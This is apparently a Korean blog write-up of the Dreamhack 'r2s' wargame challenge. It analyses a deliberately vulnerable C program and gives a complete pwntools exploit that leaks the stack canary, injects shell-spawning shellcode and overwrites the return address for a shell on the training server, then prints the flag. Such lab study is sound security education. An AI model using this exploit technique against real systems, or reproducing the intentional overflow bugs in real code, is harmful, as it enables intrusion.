반응형

r2s.c
0.00MB
r2s
0.01MB

 


보호 기법 탐지

 

리눅스에는 다양한 바이너리 보호 기법이 있고, 보호 기법에 따라 익스플로잇 설계가 달라진다.

 

그러므로 분석을 하기 전에 바이너리에 적용된 보호 기법이 뭔지 파악해보는 것이 좋은데

 

이 때 사용하는 툴로 checksec이 있다.

 

checksec은 pwntools를 설치할 때 같이 설치되어 ~/.local/bin/checksec에 위치한다.

 

 

위의 사진은 checksec을 이용해 r2s 파일의 보호 기법을 파악한 결과이다.

 

canary 보호 기법이 적용된 것을 볼 수 있다.

 

더보기

참고) checksec 커맨드 입력 시 command not found 에러 발생

 

/.bashrc 파일 마지막 줄에 아래의 내용을 적어준다.

export PATH="$HOME/.local/bin/:$PATH"

 

checksec은 canary 뿐만 아니라 RELRO, NX, PIE 기법들을 탐지할 수 있다.

 


소스 코드 분석

 

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50]; // 80

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

main() 함수에서 80byte 크기의 char형 배열 buf가 선언되어 있다.

 

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf);

 

buf의 주소를 출력해주고, buf의 주소와 rbp의 값 사이가 얼마나 떨어져있는지를 출력해준다.

 

printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);

 

canary를 leak 하라는 문구와 함께 Input: 문자열을 출력한다.

 

그리고 출력 버퍼를 비운다.

 

read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);

 

read() 함수로 사용자에게서 0x100(256)크기만큼 입력받고 입력받은 값을 buf에 담은 뒤 문자열로 출력해준다.

 

먼저 여기서 Overflow가 발생하는데, buf의 사이즈는 0x50인데 사용자에게 받는 입력값은 0x100이기 때문이다.

 

puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);

 

return 주소를 덮어쓰라는 문구와 함께 Input: 문자열이 출력되고 출력 버퍼를 비운다.

 

그리고는 사용자에게 입력을 받아 buf에 넣는다.

 

여기서도 Overflow가 발생하는데 gets()는 사용자가 Enter 키를 입력해 '\n' 문자를 발생시키기 전까지 입력받기 때문이다.

 


위의 코드 분석 결과를 통해 

 

두 번째 입력에서 반환 주소를 덮어쓸 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해서 프로그램이 강제 종료되므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.

 

첫 번째 입력에서 입력 받은 값을 buf에 담고, 바로 buf에 있는 값을 문자열로 출력해주기 때문에 buf에 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.

 

또한

 

첫 번째 입력에서 카나리 값을 구했다면 두 번째 입력에서 반환 주소를 덮어쓰면 되는데 이 문제에서는 셸을 획득해주는 get_shell() 함수가 없기 때문에 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮기면 된다.

 

즉, 문제 파일을 실행했을 때 buf의 주소를 알려주므로 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있다는 것이다.

 


exploit

 

 

위의 사진은 바이너리 파일을 실행했을 때 결과이다.

 

스택을 이용해 공격할 것이기에 스택 프레임의 구조를 먼저 파악한다.

 

바이너리 파일을 실행하면 buf의 주소를 출력해주므로 이를 잘 파싱해오면 된다.

 

 

"buf: " 문자열까지 읽은 후 뒤의 16진수 값을 읽어와 저장하고, "$rbp: "문자열까지 읽은 후 뒤에 96 값을 읽어와 저장하면 된다.

 

96은 buf의 주소와 rbp의 값 사이의 크기이므로 buf주소로부터 96byte 떨어진 곳이 SFP의 주소라는 것이다.

 

읽어 온 96 값에서 8을 빼면 그 곳이 카나리 값이 위치한 곳이니 8을 뺀 값을 저장해둔다.

 

 

카나리는 32bit 환경에서는 4byte이지만, 64bit 환경에서는 8byte이며, 카나리 값은 맨 앞이 null byte로 시작한다.

 

즉, 카나리 값을 실제로 3byte, 7byte이라는 것이다.

 

그렇기에 buf와 카나리 사이를 임의의 값으로 채우면, null byte가 사라지므로 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다.

 

 

buf와 카나리 사이에 임의의 값을 채우는 payload를 작성하여 "Input: " 문자열이 나온 이후 전송하도록 하면, 카나리 값이 출력될 것인데, 카나리 값 이전의 값들은 잘라내고, 카나리 값 7 byte를 읽은 뒤 맨 앞에 null byte를 붙여 저장한다.

 

이렇게 카나리 값을 구했다면 이제 buf에 셸코드를 주입하고, 저장했던 카나리 값으로 덮어쓴 뒤 반환 주소(RET)를 buf의 주소로 덮으면 된다.

 

from pwn import *

p = remote('host3.dreamhack.games', 12091)

context.arch = "amd64"

# get information about buf
p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)
print("Address of buf : ", hex(buf))

p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
# print("buf2sfp : " + str(buf2sfp))
buf2cnry = buf2sfp - 8

print("buf <=> sfp : ", buf2sfp) # distance
print("buf <=> canary : ", buf2cnry) # distance

payload = b'a' * (buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b"Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00" + p.recvn(7))
print("Canry : ", cnry)

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"a") + p64(cnry) + b"b" * 0x8 + p64(buf)

# gets() receives input until "\n" is received
p.sendlineafter(b"Input:", payload)

p.interactive()

 

위의 설명을 python 코드로 짜면 위와 같다.

 

DH{333eb89c9d2615dd8942ece08c1d34d5}

 

실행하면 위와 같이 flag를 얻을 수 있다.

 

 

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] Return to Library  (0) 2023.01.07
[Dreamhack pwn] ssp_001  (0) 2023.01.05
[Dreamhack pwn] basic_exploitation_001  (0) 2022.12.31
[Dreamhack pwn] basic_exploitation_000  (3) 2022.12.24
[Dreamhack pwn] Return Address Overwrite  (0) 2022.12.23

+ Recent posts